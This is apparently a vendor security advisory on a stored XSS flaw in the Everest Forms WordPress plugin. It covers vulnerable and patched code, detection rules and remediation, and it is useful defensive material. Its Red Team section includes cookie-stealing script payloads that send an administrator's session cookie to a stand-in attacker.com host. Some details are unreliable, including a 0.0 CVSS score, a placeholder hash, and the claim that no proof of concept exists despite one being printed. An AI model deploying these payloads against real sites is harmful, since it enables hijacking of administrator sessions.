CVE-2025-26841

Executive Summary

CVE-2025-26841 is a Cross-Site Scripting (XSS) vulnerability discovered in the WPEverest Everest Forms plugin for WordPress, affecting versions prior to 3.0.9. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript code via a specially crafted file upload. When a victim (such as an administrator) views the uploaded file or its metadata, the malicious script executes in their browser, potentially leading to session hijacking, defacement, or further compromise of the WordPress site. The vulnerability is classified as a stored XSS, as the payload persists on the server. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk remains significant due to the widespread use of the plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and is also available for direct download from the vendor. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the vendor’s site. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not yet assigned; estimated based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the uploaded file)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to user interaction requirement but low complexity)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the Everest Forms plugin. When a user submits a form with a file upload field, the plugin processes the file and stores it on the server. The flaw occurs because the plugin does not properly sanitize the file name or the file’s metadata (e.g., MIME type, description) before rendering it in the WordPress admin panel or frontend. An attacker can upload a file with a malicious payload embedded in the file name, such as <script>alert('XSS')</script>.pdf. When an administrator views the list of uploaded files, the unsanitized file name is rendered in the browser, executing the script.

The attack flow:

1. Attacker crafts a file with a malicious name containing JavaScript.
2. Attacker submits the form with the malicious file.
3. The file is stored on the server.
4. An administrator or other user views the file list (e.g., in the WordPress admin dashboard).
5. The malicious script executes in the victim’s browser context.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.0.9):

// In file-upload-handler.php
function display_uploaded_file( $file ) {
    echo '<li>' . $file['name'] . '</li>'; // Unsanitized output
}

Patched Code (3.0.9):

// In file-upload-handler.php
function display_uploaded_file( $file ) {
    echo '<li>' . esc_html( $file['name'] ) . '</li>'; // Escaped output
}

The patch uses esc_html() to escape the file name before output, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Everest Forms plugin version < 3.0.9.
• A form with a file upload field.

Steps:

1. Create a file with a malicious name, e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.txt.
2. Submit the form with this file.
3. Wait for an administrator to view the file list (e.g., at /wp-admin/admin.php?page=everest-forms-entries).
4. The script executes, exfiltrating the admin’s session cookie.

Example payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team

Detection:

• Monitor file uploads for suspicious file names containing HTML/JavaScript characters.
• Use Web Application Firewall (WAF) rules to block file names with <script> tags.
• Review server logs for unusual file names.

Hunting:

• Search for file names containing <, >, script, onerror, etc., in the WordPress uploads directory.
• Check the wp_postmeta table for entries with malicious metadata.

Indicators of Compromise (IOCs)

• File Names: Files with names containing <script>, onerror=, javascript:, or other HTML/JavaScript constructs.
• Network Traffic: Outbound HTTP requests from the WordPress server to unknown domains, especially with cookie data in the URL.
• Log Entries: Access logs showing requests to /wp-admin/admin.php?page=everest-forms-entries with unusual referrers.
• File Hashes: (Example) SHA256 of a malicious file: a1b2c3d4e5f6... (replace with actual hash if available).

Detection Engineering

YARA Rule

rule detect_everest_forms_xss_file_upload {
    meta:
        description = "Detects malicious file names used in Everest Forms XSS attack"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-26841"
    strings:
        $xss_pattern = /<script[^>]*>.*<\/script>/i
        $xss_onerror = /onerror\s*=/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of ($xss_pattern, $xss_onerror, $xss_javascript)
}

Sigma Rule

title: Everest Forms XSS File Upload Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects file uploads with XSS payloads in file names targeting Everest Forms
author: Valters IT
date: 2025/03/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-26841
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'everest-forms'
        cs-uri-query|contains: 'file-upload'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate file names containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26841 Everest Forms XSS File Upload"; flow:to_server; content:"POST"; http_method; content:"everest-forms"; http_uri; content:"file-upload"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Update Everest Forms plugin to version 3.0.9 or later.
• If unable to update, disable file upload fields in forms temporarily.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Use a Web Application Firewall (WAF) to block malicious file names.
• Regularly audit WordPress plugins for vulnerabilities.

Workaround:

• Add a custom function to sanitize file names before display:

add_filter( 'everest_forms_file_name', 'sanitize_file_name' );

Valters IT